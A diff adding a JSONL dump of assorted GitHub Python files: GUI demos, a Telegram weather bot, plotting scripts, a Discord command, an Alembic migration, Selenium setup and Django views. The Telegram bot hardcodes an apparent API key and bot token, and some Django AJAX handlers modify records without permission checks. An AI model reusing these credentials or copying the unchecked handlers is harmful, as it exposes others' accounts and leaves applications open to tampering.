diff --git "a/5086.jsonl" "b/5086.jsonl"
new file mode 100644--- /dev/null
+++ "b/5086.jsonl"
@@ -0,0 +1,1078 @@
+{"seq_id":"21319816153","text":"import sys\r\nimport PySide6.QtWidgets as pq\r\nimport PySide6.QtGui as pg\r\n\r\n\r\nclass colorPalette(pq.QWidget):\r\n\r\n def __init__(self, color):\r\n super(colorPalette, self).__init__()\r\n self.setAutoFillBackground(True)\r\n\r\n palette = self.palette()\r\n palette.setColor(pg.QPalette.Window, pg.QColor(color))\r\n self.setPalette(palette)\r\n\r\nclass MainWindow(pq.QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n tabs = pq.QTabWidget()\r\n tabs.setTabPosition(pq.QTabWidget.West)\r\n tabs.setMovable(True)\r\n\r\n for n, color in enumerate([\"red\", \"blue\", \"green\", \"yellow\"]):\r\n tabs.addTab(colorPalette(color), color)\r\n\r\n self.setCentralWidget(tabs)\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = pq.QApplication(sys.argv)\r\n\r\n window = MainWindow()\r\n window.show()\r\n\r\n app.exec()","repo_name":"StefanStahlCode/Tutorials","sub_path":"PySide6/tabwidget.py","file_name":"tabwidget.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36437352695","text":"class Solution:\n def setZeroes(self, matrix: List[List[int]]) -> None:\n \"\"\"\n Do not return anything, modify matrix in-place instead.\n \"\"\"\n \n h,w = len(matrix), len(matrix[0])\n r,c = set(), set()\n for i in range(h):\n for j in range(w):\n if matrix[i][j] == 0:\n r.add(i)\n c.add(j)\n \n for i in range(h):\n for j in range(w):\n if i in r or j in c:\n matrix[i][j] = 0","repo_name":"sinoyuco/leetcode_solutions","sub_path":"array/zero_matrix_in_place.py","file_name":"zero_matrix_in_place.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37425333118","text":"import requests\n\nfrom telegram.ext import Updater, CommandHandler, Filters, MessageHandler\nimport logging\n\nOWM_API_KEY = '9b1099459b708345b4ed125e2b5eb05e'\n\ndef getWeather(city):\n result = requests.get(f'https://api.openweathermap.org/data/2.5/weather?units=metric&q={city}&appid={OWM_API_KEY}')\n\n result = result.json()\n\n if(result.get('message')):\n return result['message']\n\n return f\"{result['main']['temp']}°C, {result['weather'][0]['main']}\"\n\n\nupdater = Updater(token='1566611420:AAGXpOeQ2MqNjPZ4d9pszwRC3_zCcQGqf2I', use_context=True)\ndispatcher = updater.dispatcher\n\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO\n)\n\ndef start(update, context):\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Hazar barev, expair, gri kaxaky anune anglerenov, axpers\")\n\ndef sendWeather(update, context):\n context.bot.send_message(chat_id=update.effective_chat.id, text=getWeather(update.message.text.split()[-1]))\n\ndef forecast(update, context):\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"this feature is not ready yet\")\n\n\nstart_handler = CommandHandler('start', start)\ndispatcher.add_handler(start_handler)\n\nforecast_handler = CommandHandler('forecast', forecast)\ndispatcher.add_handler(forecast_handler)\n\nsendWeather_handler = MessageHandler(Filters.text & (~Filters.command), sendWeather)\ndispatcher.add_handler(sendWeather_handler)\n\nupdater.start_polling()","repo_name":"Mark-Renton-Y/sweater-weather-telegram-bot","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37396106264","text":"from random import seed,randint\nfrom time import time\n\ndef f(n,m):\n if n ==1 or m == 1:\n return 1\n if n < m:\n return f(n,n)\n if n == m:\n return 1 + f(n,n-1)\n if n > m:\n return f(n,m-1) + f(n-m,m)\ndef test():\n mn,mx = 2,13\n seed(time())\n n,m = randint(mn,mx),randint(mn,mx)\n cnt = f(n,m)\n print(n,m,cnt)\n\nif __name__ == '__main__':\n test()","repo_name":"GrearNose/Algorithm","sub_path":"Basic/integer_partition.py","file_name":"integer_partition.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"31517452895","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport re\nimport os\n\ndef readForces(fileName,skip):\n \"\"\"Read forces or moment from a force file using the forces function object in openfoam\"\"\"\n\n f = open(fileName, \"r\")\n lines = f.readlines()\n f.close()\n\n x=[]\n\n for i in lines: #:Strip all (), , and [] from the file\n if '#' in i:\n continue\n else:\n i=(re.sub(' +', ',',re.sub('[\\t]', ' ',re.sub('[()]', '',i.rstrip(os.linesep)))))\n x.append(i)\n\n del x[0:skip] #: Delete the values below the skip defined in the gui\n\n data = np.empty((0,4))\n\n for i in x:\n d=np.fromstring(i, dtype=float, sep=',')\n #print(d)\n data = np.append(data,np.array([[d[0],d[1],d[2],d[3]]]),axis=0)\n\n return data\n\ndef getEvery(arr,rows,step):\n return arr.reshape(rows, step)\n\ndef averageLast10inEachRow(arr):\n lst = [] \n for i in arr:\n me = np.mean(i[-11:])\n lst.append(me)\n return np.array(lst)\n\ndef getNumberFromFile(filename,searchString):\n f1 = open(filename, 'r') # open the file for reading\n data = f1.readlines() # read the entire file as a list of strings\n f1.close()\n for line in data:\n match = re.search(searchString+r' \\s*(\\d+(?:\\.\\d+)?)', \" \".join(line.split()), re.IGNORECASE)\n if match:\n return float(match.group(1))\n pass\n\n\n# input\n\nrads = getNumberFromFile('./constant/MRFProperties','omega')\ndensity = getNumberFromFile('./system/forces','rhoInf')\nflowPoints = 10\nittPrFlow = 200\n\n# Data for plotting\n# Read the moment\nm = readForces('./postProcessing/forces/0/moment.dat',0)\nmSort = getEvery(m[:,3],flowPoints,ittPrFlow)\nmFinal = averageLast10inEachRow(mSort)\n\n# Read the flowRate\nfr = np.loadtxt('./postProcessing/flowRatePatch/0/surfaceFieldValue.dat',comments='#')\nfrSort = getEvery(fr[:,1],flowPoints,ittPrFlow)\nfrFinal = averageLast10inEachRow(frSort)*3600 #m3/h\nprint(frFinal)\n\n# Read the pressure difference\npd = np.loadtxt('./postProcessing/pressureDifferencePatch/0/fieldValueDelta.dat',comments='#')\npdSort = getEvery(pd[:,1],flowPoints,ittPrFlow)\npdFinal = averageLast10inEachRow(pdSort)*density*-1*0.00010197 # Convert to absolute pressure and mH2O\nprint(pdFinal)\n\n\n# Shaft power\npower = (np.abs(mFinal) * rads)/1000.0 #power in kW\nprint(power)\n\n# Hydraulic power\nhydPower = (frFinal * density * 9.81 * pdFinal) / 3.6e06\n\n# Efficieny\neff = (hydPower/power)*100 # %\nprint(eff)\n\nfig, (ax1, ax2, ax3) = plt.subplots(3,1,figsize=(11.69,8.27),sharex=True)\nmatplotlib.rc('xtick', labelsize=14) \nmatplotlib.rc('ytick', labelsize=14)\n\nax1.plot(frFinal,pdFinal,label=\"Head (m)\",linestyle='--', marker='o')\nax2.plot(frFinal,power*1000,label=\"Power (W)\",linestyle='--', marker='o')\nax3.plot(frFinal,eff,label=\"Eff (%)\",linestyle='--', marker='o')\n\nax1.set(ylabel='Head (m)')\nax2.set(ylabel='Power (W)')\nax3.set(xlabel='Flow (m3/h)', ylabel='Eff (%)')\nax1.minorticks_on()\nax2.minorticks_on()\nax3.minorticks_on()\nax1.grid(True, which='both')\nax2.grid(True, which='both')\nax3.grid(True, which='both')\nax1.legend(loc='upper right',ncol=1)\nax2.legend(loc='upper right',ncol=1)\nax3.legend(loc='upper right',ncol=1)\nax1.yaxis.label.set_size(16)\nax1.xaxis.label.set_size(16)\nax1.title.set_size(20)\nax2.yaxis.label.set_size(16)\nax2.xaxis.label.set_size(16)\nax2.title.set_size(20)\nax3.yaxis.label.set_size(16)\nax3.xaxis.label.set_size(16)\nax3.title.set_size(20)\n#fig.savefig('pumpcurve.pdf', dpi = 300)\nplt.show()","repo_name":"nelinnemann/of-cases","sub_path":"incompressible/simpleFoam/7BladedImpellerWithVolute/plotPumpCurve.py","file_name":"plotPumpCurve.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"3"}
+{"seq_id":"70072601361","text":"\nfrom discord.ext import commands\n\nfrom config import log\n\n\ndef admin_cmds(bot):\n @bot.command()\n @commands.has_any_role(\"Admin\")\n async def shutdown(ctx):\n await ctx.message.add_reaction(\"<:PepeOkay:779775701528215553>\")\n await bot.close()\n log.shutdown(ctx)\n","repo_name":"DasKeksNils/Keks-Bot","sub_path":"Commands/admin_c.py","file_name":"admin_c.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"3100432774","text":"\"\"\"add strain name assoc table\n\nRevision ID: f05fc486a0fd\nRevises: 079dae11cc2f\nCreate Date: 2020-04-05 13:47:22.600573\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f05fc486a0fd'\ndown_revision = '079dae11cc2f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n assoc = op.create_table('strain_strain_name',\n sa.Column('strain_id', sa.Integer(), nullable=True),\n sa.Column('strain_name_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['strain_id'], ['strain.id'], name=op.f('fk_strain_strain_name_strain_id_strain')),\n sa.ForeignKeyConstraint(['strain_name_id'], ['strain_name.id'], name=op.f('fk_strain_strain_name_strain_name_id_strain_name'))\n )\n\n names = sa.Table(\n \"strain_name\",\n sa.MetaData(),\n sa.Column(\"id\", sa.Integer, primary_key=True),\n sa.Column(\"strain_id\", sa.Integer)\n )\n\n connection = op.get_bind()\n\n values = [\n {\"strain_id\": name.strain_id, \"strain_name_id\": name.id}\n for name in connection.execute(names.select())\n ]\n\n op.bulk_insert(assoc, values)\n\n with op.batch_alter_table('strain_name', schema=None) as batch_op:\n batch_op.drop_constraint('fk_strain_name_strain_id_strain', type_='foreignkey')\n batch_op.drop_column('strain_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table('strain_name', schema=None) as batch_op:\n batch_op.add_column(sa.Column('strain_id', sa.INTEGER(), nullable=True))\n batch_op.create_foreign_key('fk_strain_name_strain_id_strain', 'strain', ['strain_id'], ['id'])\n\n op.drop_table('strain_strain_name')\n # ### end Alembic commands ###\n","repo_name":"gamcil/fungiphy","sub_path":"alembic/versions/f05fc486a0fd_add_strain_name_assoc_table.py","file_name":"f05fc486a0fd_add_strain_name_assoc_table.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"2427007412","text":"# coding: UTF-8\nfrom django.shortcuts import get_object_or_404\nfrom dajax.core import Dajax\nfrom dajaxice.decorators import dajaxice_register\nfrom dajaxice.utils import deserialize_form\nfrom django.utils import simplejson\nfrom django.template.loader import render_to_string\nfrom const.models import SchoolDict\nfrom const import *\nfrom const.models import *\nfrom adminStaff.utils import DateFormatTransfer\nfrom adminStaff.views import AdminStaffService\nfrom users.models import SchoolProfile, TeacherProfile, ExpertProfile\nfrom news.models import News\nfrom django.contrib.auth.models import User\nimport datetime\nfrom adminStaff.forms import TeacherDispatchForm, ExpertDispatchForm\nfrom school.forms import TeacherNumLimitForm, UsersForm, SubjectGradeForm\nfrom school.models import Project_Is_Assigned, InsituteCategory, TeacherProjectPerLimits,ProjectFinishControl,ProjectSingle, Re_Project_Expert, AchievementObjects, ProjectSingle\nfrom school.views import get_project_num_and_remaining, teacherLimitNumList\nfrom backend.logging import logger, loginfo\nfrom django.db.models import Q\nfrom school.utility import *\nfrom backend.decorators import *\ndef refresh_mail_table(request):\n school = SchoolProfile.objects.get(userid=request.user)\n if not school:\n raise Http404\n email_list = AdminStaffService.GetRegisterListBySchool(school)\n email_list.extend(AdminStaffService.GetRegisterExpertListBySchool(school))\n\n return render_to_string(\"school/widgets/mail_table.html\",\n {\"email_list\": email_list})\n\ndef refresh_numlimit_table(request):\n teacher_limit_num_list = teacherLimitNumList(request)\n return render_to_string(\"school/widgets/numlimit_table.html\",\n {'teacher_limit_num_list': teacher_limit_num_list})\n\n@dajaxice_register\ndef ExpertDispatch(request, form):\n expert_form = ExpertDispatchForm(deserialize_form(form))\n if expert_form.is_valid():\n password = expert_form.cleaned_data[\"expert_password\"]\n email = expert_form.cleaned_data[\"expert_email\"]\n name = email\n person_name = expert_form.cleaned_data[\"expert_personname\"]\n if password == \"\":\n password = email.split('@')[0]\n flag = AdminStaffService.sendemail(request, name, password, email,EXPERT_USER, expert_user=\"assigned_by_school\",person_name=person_name)\n if flag:\n message = u\"发送邮件成功\"\n table = refresh_mail_table(request)\n return simplejson.dumps({'field':expert_form.data.keys(), 'status':'1', 'message':message, 'table': table})\n else:\n message = u\"相同邮件已经发送,中断发送\"\n return simplejson.dumps({'field':expert_form.data.keys(), 'status':'1', 'message':message})\n else:\n return simplejson.dumps({'field':expert_form.data.keys(),'error_id':expert_form.errors.keys(),'message':u\"输入有误\"})\n\n@dajaxice_register\ndef teacherProjNumLimit(request, form):\n # dajax = Dajax()\n form = TeacherNumLimitForm(deserialize_form(form), request = request)\n if form.is_valid():\n\n if form.cleaned_data['teacher_name'] == '-1': #特殊处理所有指导教师的批量处理问题\n limited_num = form.cleaned_data['limited_num']\n num_and_remaining = get_project_num_and_remaining(request)\n test_sum = 0\n\n for teacher in TeacherProfile.objects.filter(school__userid = request.user):\n if TeacherProjectPerLimits.objects.filter(teacher = teacher).count() == 0:\n test_sum += limited_num\n else:\n minnum = ProjectSingle.objects.filter(Q(adminuser = teacher) & Q(is_past = False)).count()\n test_sum += max(minnum, limited_num)\n if test_sum > num_and_remaining['projects_remaining']:\n return simplejson.dumps({'id': 'limited_num', 'message': u\"分配数量剩余不足\"})\n for teacher in TeacherProfile.objects.filter(school__userid = request.user):\n if TeacherProjectPerLimits.objects.filter(teacher = teacher).count() == 0:\n projLimit_obj = TeacherProjectPerLimits(teacher = teacher, number = limited_num)\n projLimit_obj.save()\n else:\n projLimit_obj = TeacherProjectPerLimits.objects.get(teacher = teacher)\n minnum = ProjectSingle.objects.filter(Q(adminuser = teacher) & Q(is_past = False)).count()\n projLimit_obj.number = max(minnum, limited_num)\n projLimit_obj.save()\n table = refresh_numlimit_table(request)\n projects_remaining = get_project_num_and_remaining(request)['projects_remaining']\n return simplejson.dumps({'message': \"批量更新成功\", 'status': \"1\", \"table\": table, 'projects_remaining': projects_remaining})\n\n teacher_obj = TeacherProfile.objects.get(id=form.cleaned_data[\"teacher_name\"])\n limited_num = form.cleaned_data[\"limited_num\"]\n num_and_remaining = get_project_num_and_remaining(request)\n # if num_and_remaining['projects_remaining'] < limited_num:\n # return simplejson.dumps({'id':\"limited_num\" ,'message':u'分配数量不能大于剩余数量'})\n try:\n if TeacherProjectPerLimits.objects.filter(teacher=teacher_obj).count() == 0:\n if num_and_remaining['projects_remaining'] < limited_num:\n return simplejson.dumps({'id':\"limited_num\" ,'message':u'分配数量剩余不足'})\n\n projLimit_obj = TeacherProjectPerLimits(teacher=teacher_obj,\n number=limited_num)\n projLimit_obj.save()\n else:\n projLimit_obj = TeacherProjectPerLimits.objects.get(teacher=teacher_obj)\n if num_and_remaining['projects_remaining']+projLimit_obj.number < limited_num:\n return simplejson.dumps({'id':\"limited_num\" ,'message':u'分配数量剩余不足'})\n minnum = ProjectSingle.objects.filter(Q(adminuser=teacher_obj)&Q(is_past=False)).count()\n if limited_num < minnum:\n return simplejson.dumps({'message':u'更新失败,数量不得少于该老师已开始项目数量',})\n projLimit_obj.number = limited_num\n projLimit_obj.save()\n # return simplejson.dumps({'id':\"teacher_name\" ,'message':u'已分配项目给该指导老师,不可重复分配'})\n ret = {'status':'1','message':u'更新成功'}\n ret['projects_remaining'] = get_project_num_and_remaining(request)['projects_remaining']\n ret[\"table\"] = refresh_numlimit_table(request)\n return simplejson.dumps(ret)\n except TeacherProfile.DoesNotExist:\n return simplejson.dumps({'id':'teacer_name', 'message':u'更新失败,选定的指导老师没有进行注册'})\n else:\n loginfo(form.fields[\"teacher_name\"].choices)\n loginfo(p=form.errors.keys(),label=\"keys\")\n loginfo(form.errors)\n return simplejson.dumps({'id':form.errors.keys(),'message':u'输入错误'})\n@dajaxice_register\ndef Alloc_Project_to_Expert(request, expert_list, project_list):\n flag = check_auth(user = request.user, authority = ADMINSTAFF_USER)\n message = ''\n\n if len(expert_list) == 0:\n message = 'no expert input'\n if len(project_list) == 0:\n message = 'no project input'\n for project_id in project_list:\n project = get_object_or_404(ProjectSingle, project_id = project_id)\n for expert_id in expert_list:\n expert = ExpertProfile.objects.get(userid__email = expert_id)\n try:\n re_project_expert = Re_Project_Expert.objects.get(project = project, expert = expert, is_assign_by_adminStaff = flag)\n re_project_expert.delete()\n except:\n pass\n finally:\n Re_Project_Expert(project = project, expert = expert, is_assign_by_adminStaff = flag).save()\n if flag:\n expert_list = ExpertProfile.objects.filter(assigned_by_adminstaff__userid = request.user)\n else:\n expert_list = ExpertProfile.objects.filter(assigned_by_school__userid = request.user)\n expert_list = get_alloced_num(expert_list, flag)\n expert_list_html = render_to_string('adminStaff/widgets/expert_list.html', {'expert_list':expert_list})\n return simplejson.dumps({'message': message, 'expert_list_html': expert_list_html})\n\n@dajaxice_register\ndef Query_Alloced_Expert(request, project_id):\n flag = check_auth(user = request.user, authority = ADMINSTAFF_USER)\n message = ''\n\n project = get_object_or_404(ProjectSingle, project_id = project_id)\n expert_list = [item.expert for item in Re_Project_Expert.objects.filter(Q(project = project) & Q(is_assign_by_adminStaff = flag))]\n\n expert_list_html = ''\n for expert in expert_list:\n expert_list_html += r'
' + expert.__str__() + r'
'\n\n return simplejson.dumps({'message': message, 'expert_list_html': expert_list_html})\n\n@dajaxice_register\ndef Cancel_Alloced_Experts(request, project_list):\n flag = check_auth(user = request.user, authority = ADMINSTAFF_USER)\n message = ''\n\n if len(project_list) == 0:\n message = 'no project input'\n for project_id in project_list:\n project = get_object_or_404(ProjectSingle, project_id = project_id)\n for re_project_expert in Re_Project_Expert.objects.filter(Q(project = project) & Q(is_assign_by_adminStaff = flag)):\n re_project_expert.delete()\n if flag:\n expert_list = ExpertProfile.objects.filter(assigned_by_adminstaff__userid = request.user)\n else:\n expert_list = ExpertProfile.objects.filter(assigned_by_school__userid = request.user)\n expert_list = get_alloced_num(expert_list, flag)\n expert_list_html = render_to_string('adminStaff/widgets/expert_list.html', {'expert_list':expert_list})\n return simplejson.dumps({'message': message, 'expert_list_html': expert_list_html})\n\n@dajaxice_register\ndef TeacherDispatch(request, form):\n teacher_form = TeacherDispatchForm(deserialize_form(form))\n if teacher_form.is_valid():\n uid = teacher_form.cleaned_data['teacher_uid']\n email = teacher_form.cleaned_data[\"teacher_email\"]\n school = SchoolProfile.objects.get(userid=request.user)\n person_name = teacher_form.cleaned_data[\"teacher_personname\"]\n username = 'T_{}'.format(uid.strip(' '))\n flag = AdminStaffService.sendemail(\n request, username, None, email, TEACHER_USER,\n teacher_school=school, person_name=person_name)\n if flag:\n message = u\"发送邮件成功\"\n table = refresh_mail_table(request)\n return simplejson.dumps({'field':teacher_form.data.keys(), 'status':'1', 'message':message, 'table': table})\n else:\n message = u\"相同邮件已经发送或内部错误\"\n return simplejson.dumps({'field':teacher_form.data.keys(), 'status':'1', 'message':message})\n else:\n return simplejson.dumps({'field':teacher_form.data.keys(),'error_id':teacher_form.errors.keys(),'message':u\"输入有误\"})\n\n@dajaxice_register\ndef judge_is_assigned(request):\n try:\n schoolObj = SchoolProfile.objects.get(userid = request.user)\n except SchoolProfile.DoesNotExist:\n return simplejson.dumps({'flag':None,'message':u\"SchoolProfile 数据不完全,请联系管理员更新数据库\"})\n try:\n obj = Project_Is_Assigned.objects.get(school = schoolObj)\n except Project_Is_Assigned.DoesNotExist:\n return simplejson.dumps({'flag':None,'message':u\"Project_Is_Assigned 数据不完全,请联系管理员更新数据库\"})\n return simplejson.dumps({'flag': obj.is_assigned_in_presubmit})\n\n@dajaxice_register\ndef applicaton_control(request):\n try:\n schoolObj = SchoolProfile.objects.get(userid = request.user)\n except SchoolProfile.DoesNotExist:\n return simplejson.dumps({'flag':None,'message':u\"SchoolProfile 数据不完全,请联系管理员更新数据库\"})\n if schoolObj.is_applying:\n schoolObj.is_applying = False\n schoolObj.save()\n else:\n schoolObj.is_applying =True\n schoolObj.save()\n flag=schoolObj.is_applying\n return simplejson.dumps({'flag': flag})\n\n@dajaxice_register\ndef finish_control(request,year_list):\n try:\n schoolObj = SchoolProfile.objects.get(userid = request.user)\n except SchoolProfile.DoesNotExist:\n return simplejson.dumps({'flag':None,'message':u\"SchoolProfile 数据不完全,请联系管理员更新数据库\"})\n user = User.objects.get(id=schoolObj.userid_id)\n year_finishing_list = []\n if schoolObj.is_finishing ==False:\n if year_list != []:\n for temp in year_list:\n projectcontrol=ProjectFinishControl()\n projectcontrol.userid=user\n projectcontrol.project_year=temp\n projectcontrol.save()\n schoolObj.is_finishing=True\n schoolObj.save()\n flag = True\n\n projectfinish = ProjectFinishControl.objects.filter(userid =user.id)\n for finishtemp in projectfinish :\n if finishtemp.project_year not in year_finishing_list:\n year_finishing_list.append(finishtemp.project_year)\n year_finishing_list = sorted(year_finishing_list)\n else:\n return simplejson.dumps({'flag':None,'message':u\"项目年份未选择或是没有未结题项目\"})\n else:\n projectcontrol_list=ProjectFinishControl.objects.filter(userid=user)\n projectcontrol_list.delete()\n schoolObj.is_finishing=False\n schoolObj.save()\n flag = schoolObj.is_finishing\n return simplejson.dumps({'flag': flag,'year_finishing_list':year_finishing_list})\n\n@dajaxice_register\ndef change_project_overstatus(request, project_id, changed_overstatus):\n '''\n change project overstatus\n '''\n choices = dict(OVER_STATUS_CHOICES)\n if changed_overstatus in choices:\n project_obj = ProjectSingle.objects.get(project_id = project_id)\n try:\n project_obj.over_status = OverStatus.objects.get(status = changed_overstatus)\n project_obj.save()\n except:\n pass\n res = choices[changed_overstatus]\n else:\n res = \"操作失败,请重试\"\n return simplejson.dumps({'status':'1', 'res':res})\n\n@dajaxice_register\ndef isover_control(request,pid):\n project=ProjectSingle.objects.get(project_id=pid)\n if project.is_over:\n project.is_over =False\n else:\n project.is_over = True\n project.save()\n return simplejson.dumps({\"flag\":project.is_over,\"pid\":pid})\n\n\n@dajaxice_register\ndef achievement_save(request, project_id, values, category):\n context = {}\n project = get_object_or_404(ProjectSingle, project_id = project_id)\n is_finishing = check_finishingyear(project)\n readonly = project.over_status.status not in (OVER_STATUS_NOTOVER,\n OVER_STATUS_DELAY) or not is_finishing\n if readonly:\n return HttpResponse(\"readonly\")\n ao = AchievementObjects(project_id=project, title=values[0], member=values[1],\n addition1=values[2], addition2=values[3],\n category=int(category))\n ao.save()\n related_ao = AchievementObjects.objects.filter(project_id=project)\n context['objects']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_OBJECT)\n context['papers']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PAPER)\n context['patents']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PATENT)\n context['competitions']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_COMPETITION)\n return render_to_string(\"student/widgets/achievements.html\", context)\n\n\n@dajaxice_register\ndef achievement_delete(request, project_id, id):\n context = {}\n project = get_object_or_404(ProjectSingle, project_id=project_id)\n is_finishing = check_finishingyear(project)\n readonly = project.over_status.status != OVER_STATUS_NOTOVER or not is_finishing\n if readonly:\n return HttpResponse(\"readonly\")\n ao = get_object_or_404(AchievementObjects, id=id)\n ao.delete()\n related_ao = AchievementObjects.objects.filter(project_id=project)\n context['objects']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_OBJECT)\n context['papers']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PAPER)\n context['patents']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_PATENT)\n context['competitions']=related_ao.filter(category=ACHIEVEMENT_CATEGORY_COMPETITION)\n return render_to_string(\"student/widgets/achievements.html\", context)\n\n\n@time_controller(phase=STATUS_FINSUBMIT)\n@dajaxice_register\ndef search_project_in_rating(request, form_data, is_expired=False):\n readonly = is_expired\n form = UsersForm(deserialize_form(form_data))\n if not form.is_valid():\n return HttpResponse('404')\n name = form.cleaned_data['teacher_student_name']\n school = SchoolProfile.objects.get(userid=request.user)\n subject_grade_form = SubjectGradeForm()\n users_search_form = UsersForm()\n try:\n subject_list = get_current_project_query_set().filter(Q(student__name=name)|Q(adminuser__name=name))\n except:\n return HttpResponse(\"404\")\n if not len(subject_list):\n return HttpResponse('404')\n\n limit, remaining = get_recommend_limit(school)\n for subject in subject_list:\n try:\n subject.members = get_manager(subject)\n except:\n pass\n undef_subject_list = filter(lambda x: (not x.recommend) and (x.project_grade.grade == GRADE_UN), subject_list)\n def_subject_list = filter(lambda x: (x.recommend) or (x.project_grade.grade != GRADE_UN), subject_list)\n\n\n context = {'subject_list': subject_list,\n 'undef_subject_list': undef_subject_list,\n 'def_subject_list': def_subject_list,\n 'subject_grade_form': subject_grade_form,\n 'readonly': readonly,\n 'limit': limit,\n 'remaining': remaining,\n 'is_minzu_school': IS_MINZU_SCHOOL,\n 'search_form': users_search_form,\n }\n return render_to_string('school/rating_project_table.html', context)\n\n\n@dajaxice_register\ndef title_change(request, email, new_title):\n user = User.objects.filter(email = email)\n if user:\n for u in user:\n teacher = TeacherProfile.objects.get(userid = u)\n teacher.titles = new_title\n teacher.save()\n return simplejson.dumps({\"has_finish\": 1})\n return simplejson.dumps({\"has_finish\": 0})\n","repo_name":"School-of-Innovation-Experiment/provinceManagement","sub_path":"school/ajax.py","file_name":"ajax.py","file_ext":"py","file_size_in_byte":18793,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"42798586522","text":"import sys\nimport matplotlib\n# matplotlib.use(\"SVG\")\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nMajorTicks = np.arange(0,1.01,0.1)\n\ndef optimalBound(c):\n val = 1 / (2 * (c**2) - 1)\n print(str(val))\n return val\n\ndef genData():\n \n c = 1.0\n arr = np.array([c, optimalBound(c)])\n c = c + 0.05\n while c < 3.0:\n bound = optimalBound(c)\n arr = np.append(arr, np.array([c, bound]), 0) \n c = c + 0.05\n\n print(arr)\n return arr\n\ndef plot():\n c = 1.0\n y = np.array([c])\n while c < 3.0:\n c = c + 0.05\n y = np.append(y, np.array([c]), 0) \n\n x = 1 / (2 * (y**2) - 1)\n plt.title('Relationship between c and rho')\n plt.ylabel('rho')\n plt.xlabel('c')\n plt.yticks(np.arange(min(y), max(y)+1, 0.2))\n plt.plot(x,y) \n plt.savefig('./plots/rhoandc.png')\n \n\n#MAIN\nmatplotlib.style.use(\"seaborn\")\nplot()\n","repo_name":"peturssonstefan/LSHonGPU","sub_path":"plotting/cPlot.py","file_name":"cPlot.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37040466674","text":"import os\nimport re\n\nfrom selenium import webdriver\nfrom selenium.webdriver import DesiredCapabilities\n\n\nPROJECTPATH = os.path.dirname(os.path.realpath(__file__))\n\ngeckodriver_path = os.path.join(PROJECTPATH, 'geckodriver')\nprofile_path = os.path.join(PROJECTPATH, 'clean_profile')\n\ncapabilities = DesiredCapabilities.FIREFOX.copy()\ncapabilities[\"moz:firefoxOptions\"] = {\n \"args\": [\"--profile\", profile_path]\n}\n\n\ndef get_marionette_port(profile_path):\n prefs_path = os.path.join(profile_path, 'prefs.js')\n with open(prefs_path) as f:\n marionette_port = re.search('\"marionette.port\", (\\d+?)\\)', f.read()).group(1)\n return marionette_port\n\n#url = 'https://tesera.ru'\n\nurl = 'YOUR SITE HERE'\n\nmarionette_port = get_marionette_port(profile_path)\n\ndriver = webdriver.Firefox(executable_path=geckodriver_path, capabilities=capabilities, service_args=['--marionette-port', marionette_port])\ndriver.get(url)\ninput('Waiting for login...')\ndriver.quit()","repo_name":"Pooort/firefox_profile","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16409842614","text":"from django.urls import path\nfrom toxsign.jobs import views\n\n\napp_name = 'jobs'\n# Define urls here\nurlpatterns = [\n # ex: /jobs/\n path('running_jobs/', views.running_jobs_view, name='running_jobs'),\n path('partial_running_jobs/', views.partial_running_jobs_view, name='partial_running_jobs'),\n path('delete_job/', views.Delete_job, name='delete_job'),\n # ex: /jobs/5/\n # the 'name' value as called by the {% url %} template tag\n path('/result', views.DetailView, name='results'),\n path('/result/', views.DownloadView, name='results_download'),\n]\n","repo_name":"umr1085-irset/toxsign_v2","sub_path":"toxsign/jobs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
